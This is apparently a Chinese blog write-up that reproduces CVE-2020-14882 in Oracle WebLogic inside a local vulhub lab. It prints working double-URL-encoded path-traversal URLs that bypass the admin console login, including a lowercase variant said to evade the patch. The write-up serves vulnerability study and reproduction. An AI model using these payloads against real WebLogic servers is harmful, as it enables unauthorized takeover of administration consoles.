HTTP_Oracle_Weblogic_远程代码执行漏洞[CVE-2020-14882]

漏洞描述

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

Oracle WebLogic Server 远程代码执行漏洞POC已经被公开，未经身份验证的远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console ，并利用该漏洞在受影响的 WebLogic Server 上执行任意代码。鉴于该漏洞影响范围广，危害程度较大，请受影响的各单位立即更新补丁。

影响范围

Oracle WebLogic Server 10.3.6.0.0；
Oracle WebLogic Server 12.1.3.0.0；
Oracle WebLogic Server 12.2.1.0.0；
Oracle WebLogic Server 12.2.1.4.0;
Oracle WebLogic Server 14.1.1.0.0。

漏洞复现

1. 环境配置

git clone  https://github.com/vulhub/vulhub.git

因为我docker之前就配置好了，直接启动就可以了
（可以使用python3自带的pip安装工具去安装）
访问http://127.0.0.1:7001/console，即可部署weblogic环境

2. 绕过后台登录

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal

‘%252E%252E%252F’即为二次URL编码过后的‘../’，通过这个就可以实现穿越路径未授权访问相关管理后台

也可以用另一个POC

/console/css/%25%32%65%25%32%65%25%32%66console.portal

大写换成小写可绕过补丁：
/console/css/%252e%252e%252fconsole.portal

参考链接：https://www.cnblogs.com/backlion/p/13951858.html